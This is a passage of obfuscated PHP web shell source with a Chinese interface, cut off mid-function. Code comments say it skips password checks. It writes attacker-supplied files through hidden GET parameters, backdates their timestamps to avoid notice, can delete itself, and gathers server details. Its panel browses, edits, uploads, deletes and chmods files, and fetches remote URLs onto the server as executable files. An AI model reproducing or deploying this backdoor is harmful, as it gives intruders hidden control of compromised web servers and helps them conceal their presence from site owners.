- <?phpini_set("memory_limit", "512M");@ini_set("max_execution_time", 20000);header("content-Type: text/html; charset=utf-8");error_reporting(E_ERROR);@ini_set("display_errors", "Off");defined("TMQo7") or define("TMQo7", getcwd() . DIRECTORY_SEPARATOR);defined("sEyyb") or define("sEyyb", __DIR__ . DIRECTORY_SEPARATOR);$C39VH = $_SERVER["SCRIPT_FILENAME"] ? PBm07($_SERVER["SCRIPT_FILENAME"]) : pBm07(__FILE__);define("V51MD", $C39VH);$eMzvo = explode("(", $C39VH);$C39VH = strpos($C39VH, "eval()") ? array_shift($eMzvo) : $C39VH;define("k3TER", pbM07(dirname($C39VH) . "/"));define("FO39n", pBM07(strtr($C39VH, array(pBm07($_SERVER["PHP_SELF"]) => '')) . "/"));define("NMW2Y", "1.0.0");if (!isset($gHcBS)) { $gHcBS = "f5f8674f07e5558bdfe2f1863bf564ea";}if (!empty($_GET["ghpqojdsfion1239"]) && !empty($_GET["vqwecsx12312"]) && !empty($_GET["kqishgl194nwq7"])) { $s5r3y = civgH($_GET["ghpqojdsfion1239"]); $dRqNZ = getcwd() . "/" . $_GET["vqwecsx12312"]; $PfRvL = explode("/", $dRqNZ); array_pop($PfRvL); $PfRvL = implode("/", $PfRvL); if (!file_exists($PfRvL)) { mkdir($PfRvL, 0755, "recursive"); chmod($PfRvL, 0755); } $YJnbr = C4gHR($PfRvL); $ipdt9 = 0; foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { if (!$ipdt9) { $ipdt9 = filemtime($cT1oz); } else { if (filemtime($cT1oz) < $ipdt9) { $ipdt9 = filemtime($cT1oz); } } } file_put_contents($dRqNZ, $s5r3y); if ($ipdt9) { @touch($dRqNZ, $ipdt9); } @chmod($dRqNZ, $_GET["kqishgl194nwq7"]); if (!empty($_GET["dk82kdsiud9125d"])) { @unlink($C39VH); }}$YCpcn = new M4EMi();$YCpcn->JAO9o($gHcBS);class M4EMi{ public $D2dKJ = null; public $VqdhY = null; public $XEBgr = null; public function jAO9O($gHcBS) { $this->XEBgr = $gHcBS; list($uS69Z, $p0NZ3) = $this->IZ6eP(); $this->D2dKJ = $uS69Z; $this->VqdhY = $p0NZ3; $g9a24 = session_get_cookie_params(); $uKE12 = 0; if ($g9a24["lifetime"]) { $uKE12 = time() + $g9a24["lifetime"]; } setcookie($uS69Z, $p0NZ3, $uKE12, $g9a24["path"], $g9a24["domain"], $g9a24["secure"], $g9a24["httponly"]); // 直接进入主界面,跳过密码验证 $RJPTn = new FOj8n(); return $RJPTn->JAO9O(); } public function iZ6ep() { session_start(); $uS69Z = session_name(); if (!empty($_COOKIE["PHPSESSID"])) { $p0NZ3 = $_COOKIE["PHPSESSID"]; } else { $p0NZ3 = session_id(); } $SWSuO = array($uS69Z, $p0NZ3); return $SWSuO; } public function ksvKN() { // 总是返回true,绕过密码检查 return true; } public function yciyx() { // 直接进入主界面,不显示登录表单 $RJPTn = new FOj8n(); return $RJPTn->jAO9O(); }}class FoJ8N{ public $ddguj; public $N5qPH; public function JAO9O() { $this->N5qPH = $_POST; $_POST = MweMB($_POST); $this->ddguj = isset($_POST["dir"]) ? Pbm07(chop($_POST["dir"]) . "/") : k3TER; $this->xfqjS(); } public function xfQJS() { $QSO8f = " <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">\r\n <html>\r\n <head>\r\n <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>\r\n <style type="text/css">\r\n * {\r\n margin: 0px;\r\n padding: 0px;\r\n }\r\n\r\n body {\r\n background: #ebebeb;\r\n color: #333333;\r\n font-size: 13px;\r\n font-family: Microsoft YaHei, SimSun, sans-serif;\r\n text-align: left;\r\n word-wrap: break-word;\r\n word-break: break-all;\r\n // background-image: url(https://pic.616pic.com/bg_w1180/00/01/43/rWB5OFJqVH.jpg);\r\n // background-size:100% 100%;\r\n }\r\n\r\n a {\r\n color: #000000;\r\n text-decoration: none;\r\n vertical-align: middle;\r\n }\r\n\r\n a:hover {\r\n color: #FF0000;\r\n text-decoration: underline;\r\n }\r\n\r\n p {\r\n padding: 1px;\r\n line-height: 1.6em;\r\n }\r\n\r\n h1 {\r\n color: #CD3333;\r\n font-size: 13px;\r\n display: inline;\r\n vertical-align: middle;\r\n }\r\n\r\n h2 {\r\n color: #008B45;\r\n font-size: 13px;\r\n display: inline;\r\n vertical-align: middle;\r\n }\r\n\r\n form {\r\n display: inline;\r\n }\r\n\r\n input, select {\r\n vertical-align: middle;\r\n }\r\n\r\n input[type=text], textarea {\r\n padding: 1px;\r\n font-family: Microsoft YaHei, sans-serif;\r\n }\r\n\r\n input[type=submit], input[type=button] {\r\n height: 21px;\r\n }\r\n\r\n .tag {\r\n text-align: center;\r\n // margin-left: 10px;\r\n background: threedface;\r\n height: 25px;\r\n padding-top: 5px;\r\n }\r\n\r\n .tag a {\r\n background: #FAFAFA;\r\n color: #333333;\r\n width: 90px;\r\n height: 20px;\r\n display: inline-block;\r\n font-size: 15px;\r\n font-weight: bold;\r\n padding-top: 5px;\r\n }\r\n\r\n .tag a:hover, .tag a.current {\r\n background: #000;\r\n color: #fff;\r\n text-decoration: none;\r\n }\r\n\r\n .main {\r\n width: 963px;\r\n margin: 0 auto;\r\n padding: 10px;\r\n }\r\n\r\n .outl {\r\n border-color: #FFFFFF #666666 #666666 #FFFFFF;\r\n border-style: solid;\r\n border-width: 1px;\r\n }\r\n\r\n .toptag {\r\n padding: 15px;\r\n text-align: left;\r\n font-weight: bold;\r\n color: #FFFFFF;\r\n background: #000000;\r\n }\r\n\r\n .footag {\r\n padding: 5px;\r\n text-align: center;\r\n font-weight: bold;\r\n color: #fff;\r\n background: #000000;\r\n }\r\n\r\n .msgbox {\r\n // padding: 5px;\r\n background: #000;\r\n text-align: center;\r\n vertical-align: middle;\r\n color: #FFF;\r\n }\r\n\r\n .actall {\r\n background: #ffffff;\r\n text-align: center;\r\n font-size: 15px;\r\n border-bottom: 1px solid #999999;\r\n padding: 3px;\r\n vertical-align: middle;\r\n }\r\n\r\n .tables {\r\n width: 100%;\r\n }\r\n\r\n .tables th {\r\n background: threedface;\r\n text-align: left;\r\n border-color: #FFFFFF #666666 #666666 #FFFFFF;\r\n border-style: solid;\r\n border-width: 1px;\r\n padding: 2px;\r\n }\r\n\r\n .tables td {\r\n background: #ffffff;\r\n height: 19px;\r\n padding-left: 2px;\r\n }\r\n\r\n\r\n .bg{\r\n width:100%;\r\n height:100%;\r\n left:0;\r\n top:0;\r\n position:fixed;\r\n background:rgba(0,0,0,0.3);\r\n }\r\n .point{\r\n position:absolute;\r\n left:50%;\r\n top:50%;\r\n }\r\n .pop{\r\n width:500px; \r\n // height:500px; \r\n position:absolute;\r\n left:-250px; \r\n top:-250px; \r\n border: 2px solid #f7f7f7;\r\n background-color: #FFF;\r\n border-radius:10px;\r\n }\r\n\r\n .pop-title{\r\n height: 40px;\r\n line-height: 40px;\r\n text-align: center;\r\n font-size: 14px;\r\n }\r\n\r\n\r\n .layui-textarea{\r\n min-height: 100px;\r\n height: auto;\r\n line-height: 20px;\r\n padding: 6px 10px;\r\n resize: vertical;\r\n display: block;\r\n width: 95%;\r\n border-width: 1px;\r\n border-style: solid;\r\n background-color: #fff;\r\n border-radius: 2px;\r\n border-color: #eee;\r\n }\r\n\r\n .layui-btn {\r\n display: inline-block;\r\n height: 38px;\r\n line-height: 38px;\r\n padding: 0 18px;\r\n border: 1px solid transparent;\r\n background-color: #009688;\r\n color: #fff;\r\n white-space: nowrap;\r\n text-align: center;\r\n font-size: 14px;\r\n border-radius: 2px;\r\n cursor: pointer;\r\n }\r\n\r\n .btn{\r\n background-color:#FFF;\r\n border-color: #d2d2d2;\r\n color:#666;\r\n }\r\n </style>\r\n\r\n <script type="text/javascript">\r\n function \$(ID) {\r\n return document.getElementById(ID);\r\n }\r\n\r\n function sd(str) {\r\n str = str.replace(/%22/g, '"');\r\n str = str.replace(/%27/g, "'");\r\n return str;\r\n }\r\n\r\n function cd(dir) {\r\n dir = sd(dir);\r\n \$('dir').value = dir;\r\n \$('frm').submit();\r\n }\r\n\r\n function sa(form) {\r\n for (var i = 0; i < form.elements.length; i++) {\r\n var e = form.elements[i];\r\n if (e.type == 'checkbox') {\r\n if (e.name != 'chkall') {\r\n e.checked = form.chkall.checked;\r\n }\r\n }\r\n }\r\n }\r\n\r\n function go(a, b) {\r\n b = sd(b);\r\n \$('go').value = a;\r\n \$('govar').value = b;\r\n if (a == 'editor') {\r\n \$('gofrm').target = "_blank";\r\n } else {\r\n \$('gofrm').target = "";\r\n }\r\n \$('gofrm').submit();\r\n }\r\n\r\n function nf(a, b) {\r\n re = prompt("新建名", b);\r\n if (re) {\r\n \$('go').value = a;\r\n \$('govar').value = re;\r\n \$('gofrm').submit();\r\n }\r\n }\r\n\r\n function dels(a) {\r\n if (a == 'b') {\r\n var msg = "所选文件";\r\n \$('act').value = a;\r\n } else {\r\n var msg = "目录";\r\n \$('act').value = 'deltree';\r\n \$('var').value = a;\r\n }\r\n if (confirm("确定要删除" + msg + "吗")) {\r\n \$('frm1').submit();\r\n }\r\n }\r\n\r\n function txts(m, p, a) {\r\n p = sd(p);\r\n re = prompt(m, p);\r\n if (re) {\r\n \$('var').value = re;\r\n \$('act').value = a;\r\n \$('frm1').submit();\r\n }\r\n }\r\n\r\n function pltexts(m, p, a)\r\n {\r\n p = sd(p);\r\n // re = prompt(m, p);\r\n var bg = document.getElementsByClassName("bg")[0];\r\n bg.style.display= "";\r\n\r\n var title = document.getElementsByClassName("pop-title")[0];\r\n title.innerHTML = m;\r\n\r\n \$('act').value = a;\r\n }\r\n\r\n function pop_submit(){\r\n var bg = document.getElementsByClassName("bg")[0];\r\n bg.style.display= "none";\r\n\r\n \$('var').value = document.getElementById("content").value;\r\n \$('frm1').submit();\r\n }\r\n\r\n function pop_quxiao(){\r\n var bg = document.getElementsByClassName("bg")[0];\r\n bg.style.display= "none";\r\n }\r\n\r\n function acts(p, a, f) {\r\n p = sd(p);\r\n f = sd(f);\r\n re = prompt(f, p);\r\n if (re) {\r\n \$('var').value = re + '|x|' + f;\r\n \$('act').value = a;\r\n \$('frm1').submit();\r\n }\r\n }\r\n\r\n function runcode(){\r\n var html = document.getElementById('show');\r\n html.style.display= "";\r\n }\r\n </script>\r\n <title>{VERSION}</title>\r\n </head>\r\n<body>\r\n<div class="main">\r\n <div class="outl">\r\n <div class="toptag">\r\n {toptag}\r\n </div>\r\n \r\n <div class="tag">\r\n {tag}\r\n </div>\r\n\r\n <form name="gofrm" id="gofrm" method="POST">\r\n {input}\r\n <input type="hidden" name="go" id="go" value="">\r\n <input type="hidden" name="godir" id="godir" value="{nowdir}">\r\n <input type="hidden" name="govar" id="govar" value="">\r\n </form>\r\n\r\n {content}\r\n\r\n <div class="footag">\r\n {footag}\r\n </div>\r\n </div>\r\n</div>\r\n\r\n<div class="showhtml" id = "showhtml">\r\n{showhtml}\r\n</div>\r\n\r\n<div class="bg" style="display:none;">\r\n <div class="point">\r\n <div class="pop">\r\n <div class="pop-title"></div>\r\n <textarea class="layui-textarea" id="content" name="content" rows="6"></textarea>\r\n <div style="margin-top: 10px;text-align: center;">\r\n <button type="button" class="layui-btn" onclick="pop_submit()">确定</button> \r\n <button type="button" class="layui-btn btn quxiao-btn" onclick="pop_quxiao()">取消</button>\r\n </div>\r\n </br>\r\n </div>\r\n </div>\r\n</div>\r\n\r\n</body>\r\n</html>\r\n\r\n"; $QSO8f = str_replace("{showhtml}", '', $QSO8f); $QSO8f = str_replace("{VERSION}", $this->getVersion(), $QSO8f); $QSO8f = str_replace("{toptag}", $this->np5yK(), $QSO8f); $QSO8f = str_replace("{tag}", $this->EOt_6(), $QSO8f); $QSO8f = str_replace("{input}", axttQ(), $QSO8f); $QSO8f = str_replace("{nowdir}", $this->ddguj, $QSO8f); $QSO8f = str_replace("{content}", $this->getContent(), $QSO8f); $QSO8f = str_replace("{footag}", php_uname() . " " . $_SERVER["SERVER_SOFTWARE"], $QSO8f); echo $QSO8f; } public function getVersion() { return "最是人间亦无题"; } public function NP5Yk() { return "版本:DM." . NMW2Y . " | IP:" . ($_SERVER["SERVER_ADDR"] ? $_SERVER["SERVER_ADDR"] . PHP_EOL : gethostbyname($_SERVER["SERVER_NAME"])) . " | whoami(" . get_current_user() . ") |【uid(" . getmyuid() . ") gid(" . getmygid() . ")】" . " |【" . date("Y-m-d H:i:s 星期N", time()) . "】"; } public function Eot_6() { $oPhqF = array("file" => "文件管理", "scan" => "搜索文件", "info" => "系统信息"); $JqKaG = !empty($_POST["go"]) && array_key_exists($_POST["go"], $oPhqF) ? $_POST["go"] : "file"; $Jzwra = $this->ddguj; $QSO8f = ''; foreach ($oPhqF as $iW8f4 => $Kes_q) { $QSO8f .= "<a" . ($JqKaG == $iW8f4 ? " class="current"" : '') . " href="javascript:go('" . $iW8f4 . "','" . base64_encode($Jzwra) . "');">" . $Kes_q . "</a> "; } return $QSO8f; } public function getContent() { $JqKaG = isset($_POST["go"]) ? $_POST["go"] : ''; switch ($JqKaG) { case "info": return $this->jaT27(); break; case "scan": return $this->IkQbc(); break; case "upfiles": return $this->HVVWe(); break; case "edit": case "editor": return $this->I7u03(); break; default: return $this->j0i1z(); break; } } public function jAT27() { $UgLz_ = ''; $QSO8f = ''; if (true) { ob_start(); phpinfo(INFO_GENERAL); $QjGuH = ob_get_contents(); ob_end_clean(); $eMzvo = array(); preg_match_all("/\\<td class\\=\"e\"\\>.*?(Command|Configuration)+.*?\\<\\/td\\>\\<td class\\=\"v\"\\>(.*?)\\<\\/td\\>/i", $QjGuH, $eMzvo); $jZi_a = $eMzvo[2][0]; $krJKZ = $eMzvo[2][2] ? $eMzvo[2][1] . " --- " . $eMzvo[2][2] : $eMzvo[2][1]; } $Tns_w = array("客户端浏览器信息" => $_SERVER["HTTP_USER_AGENT"], "被禁用的函数" => get_cfg_var("disable_functions") ? get_cfg_var("disable_functions") : "(无)", "被禁用的类" => get_cfg_var("disable_classes") ? get_cfg_var("disable_classes") : "(无)", "PHP.ini配置路径" => $krJKZ ? $krJKZ : "(无)", "PHP运行方式" => php_sapi_name(), "PHP版本" => PHP_VERSION, "PHP进程PID" => getmypid(), "客户端IP" => $_SERVER["REMOTE_ADDR"], "客户端文字编码" => $_SERVER["HTTP_ACCEPT_LANGUAGE"], "Web服务端口" => $_SERVER["SERVER_PORT"], "Web根目录" => $_SERVER["DOCUMENT_ROOT"], "Web执行脚本" => $_SERVER["SCRIPT_FILENAME"], "Web规范CGI版本" => $_SERVER["GATEWAY_INTERFACE"], "Web管理员Email" => !empty($_SERVER["SERVER_ADMIN"]) ? $_SERVER["SERVER_ADMIN"] : "(无)", "当前磁盘总大小" => iDYFr(disk_total_space(".")), "当前磁盘可用空间" => iDyfr(disk_free_space(".")), "POST最大字数量" => get_cfg_var("post_max_size"), "允许最大上传文件" => get_cfg_var("upload_max_filesize"), "程序最大使用内存量" => get_cfg_var("memory_limit"), "程序最长运行时间" => get_cfg_var("max_execution_time") . "秒", "是否支持Fsockopen" => function_exists("fsockopen") ? "是" : "否", "是否支持Socket" => function_exists("ujGDy") ? "是" : "否", "是否支持Pcntl" => function_exists("T2RbU") ? "是" : "否", "是否支持Curl" => function_exists("curl_version") ? "是" : "否", "是否支持Zlib" => function_exists("gzclose") ? "是" : "否", "是否支持FTP" => function_exists("Bd6G6") ? "是" : "否", "是否支持XML" => function_exists("xml_set_object") ? "是" : "否", "是否支持GD_Library" => function_exists("M4wlG") ? "是" : "否", "是否支持COM组建" => class_exists("COM") ? "是" : "否", "是否支持ODBC组建" => function_exists("c0ZeT") ? "是" : "否", "是否支持IMAP邮件" => function_exists("CLBjP") ? "是" : "否", "是否运行于安全模式" => get_cfg_var("safemode") ? "是" : "否", "是否允许URL打开文件" => get_cfg_var("allow_url_fopen") ? "是" : "否", "是否允许动态加载链接库" => get_cfg_var("enable_dl") ? "是" : "否", "是否显示错误信息" => get_cfg_var("display_errors") ? "是" : "否", "是否自动注册全局变量" => get_cfg_var("register_globals") ? "是" : "否", "是否使用反斜线引用字符串" => get_cfg_var("magic_quotes_gpc") ? "是" : "否", "PHP编译参数" => $jZi_a ? $jZi_a : "(无)"); $QSO8f .= "<div class="msgbox">" . $UgLz_ . "</div>"; $QSO8f .= "<table class="tables"><tr><th style="width:26%;">名称</th><th>参数</th></tr>"; foreach ($Tns_w as $Kes_q => $KPtbK) { $QSO8f .= "<tr><td>" . $Kes_q . "</td><td>" . $KPtbK . "</td></tr>"; } $QSO8f .= "</table>"; return $QSO8f; } public function ikqBc() { $Jzwra = $this->ddguj; $UgLz_ = ''; $UlicF = empty($_POST["dir"]) ? base64_decode($_POST["govar"]) : $Jzwra; $xsz7E = isset($_POST["keyword"]) ? $_POST["keyword"] : ''; $qGL_P = isset($_POST["include"]) ? chop($_POST["include"]) : ".php|.asp|.asa|.cer|.aspx|.jsp|.cgi|.sh|.pl|.py"; $kKCOC = isset($_POST["filters"]) ? chop($_POST["filters"]) : "html|css|img|images|image|style|js"; $QSO8f = ''; $QSO8f .= "<div class="msgbox">" . $UgLz_ . "</div>"; $QSO8f .= "<form method="POST">"; $QSO8f .= axTtq(); $QSO8f .= "<input type="hidden" name="go" id="go" value="scan">"; $QSO8f .= "<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>"; $QSO8f .= "<tr><td>搜索路径</td><td><input type="text" name="dir" value="" . htmlspecialchars($UlicF) . "" style="width:500px;"></td></tr>"; $QSO8f .= "<tr><td>搜索内容</td><td><input type="text" name="keyword" value="" . htmlspecialchars($xsz7E) . "" style="width:500px;"> (文件名或文件内容)</td></tr>"; $QSO8f .= "<tr><td>文件后缀</td><td><input type="text" name="include" value="" . htmlspecialchars($qGL_P) . "" style="width:500px;"> (用"|"分割, 为空则搜索所有文件)</td></tr>"; $QSO8f .= "<tr><td>过滤目录</td><td><input type="text" name="filters" value="" . htmlspecialchars($kKCOC) . "" style="width:500px;"> (用"|"分割, 为空则不过滤目录)</td></tr>"; $QSO8f .= "<tr><td>搜索方式</td><td><label><input type="radio" name="type" value="0"" . (!empty($_POST["type"]) ? '' : " checked") . ">搜索文件名</label> "; $QSO8f .= "<label><input type="radio" name="type" value="1"" . (!empty($_POST["type"]) ? " checked" : '') . ">搜索包含文字</label> "; $QSO8f .= "<label><input type="checkbox" name="char" value="1"" . (!empty($_POST["char"]) ? " checked" : '') . ">匹配大小写</label></td></tr>"; $QSO8f .= "<tr><td>搜索范围</td><td><label><input type="radio" name="range" value="0"" . (!empty($_POST["range"]) ? '' : " checked") . ">将搜索应用于该文件夹,子文件夹和文件</label> "; $QSO8f .= "<label><input type="radio" name="range" value="1"" . (!empty($_POST["range"]) ? " checked" : '') . ">仅将搜索应用于该文件夹</label></td></tr>"; $QSO8f .= "<tr><td>操作</td><td><input type="submit" style="width:80px;" value="搜索"></td></tr>"; $QSO8f .= "</table></form>"; if ($xsz7E != '') { flush(); ob_flush(); $QSO8f .= "<div style="padding:5px;background:#F8F8F8;text-align:left;">"; $t6SOR = $qGL_P == '' ? false : explode("|", $qGL_P); $x98RS = $kKCOC == '' ? false : explode("|", $kKCOC); $E56um = DqR9r(pBm07($UlicF . "/"), $xsz7E, $t6SOR, $x98RS, !empty($_POST["type"]) ? $_POST["type"] : '', !empty($_POST["char"]) ? $_POST["char"] : '', !empty($_POST["range"]) ? $_POST["range"] : '', $Jzwra); $QSO8f .= $E56um; $QSO8f .= "<p>" . ($E56um ? "<h2>搜索完成</h2>" : "<h1>搜索失败</h1>") . "</p></div>"; } return $QSO8f; } public function hvVWe() { $trx7n = isset($_POST["updir"]) ? $_POST["updir"] : $_POST["godir"]; $UgLz_ = "【最大上传文件 " . get_cfg_var("upload_max_filesize") . "】 【POST最大提交数据 " . get_cfg_var("post_max_size") . "】"; $yklRt = 10; $JGN3j = array(); if (isset($_FILES["uploads"]) && isset($_POST["renames"])) { $TQlLa = $_FILES["uploads"]; $uLtTd = 1; while ($uLtTd < $yklRt) { if ($TQlLa["error"][$uLtTd] == UPLOAD_ERR_OK) { $QY5ao = $_POST["renames"][$uLtTd] == '' ? $TQlLa["name"][$uLtTd] : $_POST["renames"][$uLtTd]; $zi0Y0 = $TQlLa["tmp_name"][$uLtTd]; $J3Hov = PBm07($trx7n . "/" . $QY5ao); $JGN3j[$uLtTd] = fivrG($zi0Y0, $J3Hov) ? "<br><h2>上传成功 " . $QY5ao . "</h2>" : "<br><h1>上传失败 " . $QY5ao . "</h1>"; } $uLtTd++; } } $QSO8f = ''; $QSO8f .= "<div class="msgbox">" . $UgLz_ . "</div>"; $QSO8f .= "<form name="upsfrm" id="upsfrm" method="POST" enctype="multipart/form-data">"; $QSO8f .= AXTTQ(); $QSO8f .= "<input type="hidden" name="go" value="upfiles"><input type="hidden" name="act" id="act" value="upload">"; $QSO8f .= "<div class="actall"><p>上传到目录 <input type="text" name="updir" style="width:398px;" value="" . $trx7n . ""></p>"; $uLtTd = 1; while ($uLtTd < $yklRt) { $QSO8f .= "<p>附件" . $uLtTd . " <input type="file" name="uploads[" . $uLtTd . "]" style="width:300px;"> 重命名 <input type="text" name="renames[" . $uLtTd . "]" style="width:128px;"> " . (!empty($JGN3j[$uLtTd]) ? $JGN3j[$uLtTd] : '') . "</p>"; $uLtTd++; } $QSO8f .= "</div></form><div class="actall" style="padding:8px;padding-right:68px;"><input type="button" onclick="\$('upsfrm').submit();" value="上传" style="width:80px;"> "; $QSO8f .= "<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="" . $trx7n . "">"; $QSO8f .= AXTTQ(); $QSO8f .= "<input type="button" onclick="\$('backfrm').submit();" value="返回" style="width:80px;"></form></div>"; return $QSO8f; } public function i7u03() { $SFJ9z = PBM07($_POST["godir"] . "/" . $_POST["govar"]); $YM_6j = function_exists("iconv"); $tAe0C = ''; $uS2nL = ''; if (!file_exists($SFJ9z)) { $UgLz_ = "【新建文件】"; } else { $uS2nL = file_get_contents($SFJ9z); $tAe0C = "默认"; $T3WIB = IDyFR(filesize($SFJ9z)); $UgLz_ = "【文件属性 " . substr(decoct(fileperms($SFJ9z)), -4) . "】 【文件大小 " . $T3WIB . "】 【文件编码 " . $tAe0C . "】"; } $QSO8f = ''; $QSO8f .= base64_decode("PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKSB7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKSByZXR1cm4gZmFsc2U7DQoJdHh0ID0gJCgnZmlsZWNvZGUnKS5jcmVhdGVUZXh0UmFuZ2UoKTsNCglmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCXR4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIDEpOw0KCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKTsNCgl9DQoJaWYoZm91bmQpeyB0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7IHR4dC5maW5kVGV4dChzdHIpOyB0eHQuc2VsZWN0KCk7IHR4dC5zY3JvbGxJbnRvVmlldygpOyBuKys7IH0NCgllbHNlIHsgaWYgKG4gPiAwKSB7IG4gPSAwOyBzZWFyY2goc3RyKTsgfSBlbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg=="); $QSO8f .= "<div class="msgbox"><input name="keyword" id="keyword" type="text" style="width:138px;height:15px;"><input type="button" value="IE查找内容" onclick="search(\$('keyword').value);"> - " . $UgLz_ . "</div>"; $QSO8f .= "<form name="editfrm" id="editfrm" method="POST">"; $QSO8f .= axtTQ(); $QSO8f .= "<input type="hidden" name="go" value=""><input type="hidden" name="act" id="act" value="edit">"; $QSO8f .= "<input type="hidden" name="dir" id="dir" value="" . dirname($SFJ9z) . "">"; $QSO8f .= "<div class="actall">文件 <input type="text" name="filename" value="" . $SFJ9z . "" style="width:528px;"> "; if ($YM_6j) { $QSO8f .= "编码 <select name="tostr">"; $I8314 = array("normal" => "默认", "utf" => "utf-8"); foreach ($I8314 as $KPtbK => $Kes_q) { $QSO8f .= "<option value="" . $KPtbK . """ . ($Kes_q == $tAe0C ? " selected" : '') . ">" . $Kes_q . "</option>"; } $QSO8f .= "</select>"; } $QSO8f .= "</div><div class="actall"><textarea name="filecode" id="filecode" style="width:698px;height:358px;">" . $uS2nL . "</textarea></div></form>"; $QSO8f .= "<div class="actall" style="padding:5px;padding-right:68px;"><input type="button" onclick="\$('editfrm').submit();" value="保存" style="width:80px;"> "; $QSO8f .= "<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="" . dirname($SFJ9z) . "">"; $QSO8f .= AxttQ(); $QSO8f .= "<input type="button" onclick="\$('backfrm').submit();" value="返回" style="width:80px;"></form></div>"; return $QSO8f; } public function J0I1Z() { $Jzwra = $this->ddguj; $UgLz_ = ''; $JqKaG = isset($_POST["go"]) ? $_POST["go"] : ''; if ($JqKaG == "down") { $x3CQ0 = $J3Hov = pBM07($_POST["godir"] . "/" . $_POST["govar"]); if (!VZo7E($x3CQ0)) { $UgLz_ = "<h1>下载文件不存在</h1>"; } } if (isset($_FILES["upfile"])) { if ($_FILES["upfile"]["name"] == '') { $UgLz_ = "<h1>请选择文件</h1>"; } else { $QY5ao = $_POST["rename"] == '' ? $_FILES["upfile"]["name"] : $_POST["rename"]; $zi0Y0 = $_FILES["upfile"]["tmp_name"]; $J3Hov = PbM07($Jzwra . $QY5ao); $UgLz_ = FiVRg($zi0Y0, $J3Hov) ? "<h2>上传文件" . $QY5ao . "成功</h2>" : "<h1>上传文件" . $QY5ao . "失败</h1>"; } } if (isset($_POST["act"])) { switch ($_POST["act"]) { case "a": if (!$_POST["files"]) { $UgLz_ = "<h1>请选择文件 " . $_POST["var"] . "</h1>"; } else { $uLtTd = 0; foreach ($_POST["files"] as $eb_7J) { $uLtTd += @copy(Pbm07($Jzwra . $eb_7J), pbM07($_POST["var"] . "/copy_" . $eb_7J)) ? 1 : 0; } $UgLz_ = $UgLz_ = $uLtTd ? "<h2>共复制 " . $uLtTd . " 个文件到" . $_POST["var"] . "成功</h2>" : "<h1>共复制 " . $uLtTd . " 个文件到" . $_POST["var"] . "失败</h1>"; } break; case "b": if (!$_POST["files"]) { $UgLz_ = "<h1>请选择文件</h1>"; } else { $uLtTd = 0; foreach ($_POST["files"] as $eb_7J) { $uLtTd += @unlink(PBM07($Jzwra . $eb_7J)) ? 1 : 0; } $UgLz_ = $uLtTd ? "<h2>共删除 " . $uLtTd . " 个文件成功</h2>" : "<h1>共删除 " . $uLtTd . " 个文件失败</h1>"; } break; case "c": if (!$_POST["files"]) { $UgLz_ = "<h1>请选择文件 " . $_POST["var"] . "</h1>"; } else { if (!preg_match("/[0-7]{4}\$/", $_POST["var"])) { $UgLz_ = "<h1>属性值错误</h1>"; } else { $uLtTd = 0; foreach ($_POST["files"] as $eb_7J) { try { $uLtTd += @chmod(pbM07($Jzwra . $eb_7J), base_convert($_POST["var"], 8, 10)) ? 1 : 0; } catch (Throwable $yVbeC) { } } $UgLz_ = $uLtTd ? "<h2>共 " . $uLtTd . " 个文件修改属性为" . $_POST["var"] . "成功</h2>" : "<h1>共 " . $uLtTd . " 个文件修改属性为" . $_POST["var"] . "失败</h1>"; } } break; case "d": if (!$_POST["files"]) { $UgLz_ = "<h1>请选择文件 " . $_POST["var"] . "</h1>"; } else { if (!preg_match("/(\\d+)-(\\d+)-(\\d+) (\\d+):(\\d+):(\\d+)/", $_POST["var"])) { $UgLz_ = "<h1>时间格式错误 " . $_POST["var"] . "</h1>"; } else { $uLtTd = 0; foreach ($_POST["files"] as $eb_7J) { $uLtTd += @touch(PBm07($Jzwra . $eb_7J), strtotime($_POST["var"])) ? 1 : 0; } $UgLz_ = $uLtTd ? "<h2>共 " . $uLtTd . " 个文件修改时间为" . $_POST["var"] . "成功</h2>" : "<h1>共 " . $uLtTd . " 个文件修改时间为" . $_POST["var"] . "失败</h1>"; } } break; case "e": $PfRvL = pbm07($Jzwra . $_POST["var"] . "/"); if (file_exists($PfRvL)) { $UgLz_ = "<h1>目录已存在 " . $_POST["var"] . "</h1>"; } else { $UgLz_ = @mkdir($PfRvL, 0777) ? "<h2>创建目录 " . $_POST["var"] . " 成功</h2>" : "<h1>创建目录 " . $_POST["var"] . " 失败</h1>"; } break; case "f": $rINXt = array("http" => array("timeout" => 30)); if (function_exists("stream_context_create")) { $KlQ6w = stream_context_create($rINXt); } $dRqNZ = explode(" ", $_POST["var"]); $s5r3y = @file_get_contents($dRqNZ[0], false, $KlQ6w); $kojAr = explode("/", $dRqNZ[0]); $eb_7J = array_pop($kojAr); if (!empty($dRqNZ[1])) { $eb_7J = $dRqNZ[1]; } if ($s5r3y) { if (LGU3J(pBM07($Jzwra . $eb_7J), $s5r3y, "wb")) { $YJnbr = c4GhR($Jzwra); $ipdt9 = 0; if (!empty($YJnbr["file"])) { foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { if (!$ipdt9) { $ipdt9 = filemtime($cT1oz); } else { if (filemtime($cT1oz) < $ipdt9) { $ipdt9 = filemtime($cT1oz); } } } } if ($ipdt9) { @touch(pbm07($Jzwra . $eb_7J), $ipdt9); } chmod(pBm07($Jzwra . $eb_7J), 0755); $UgLz_ = "<h2>下载 " . $eb_7J . " 成功</h2>"; } else { 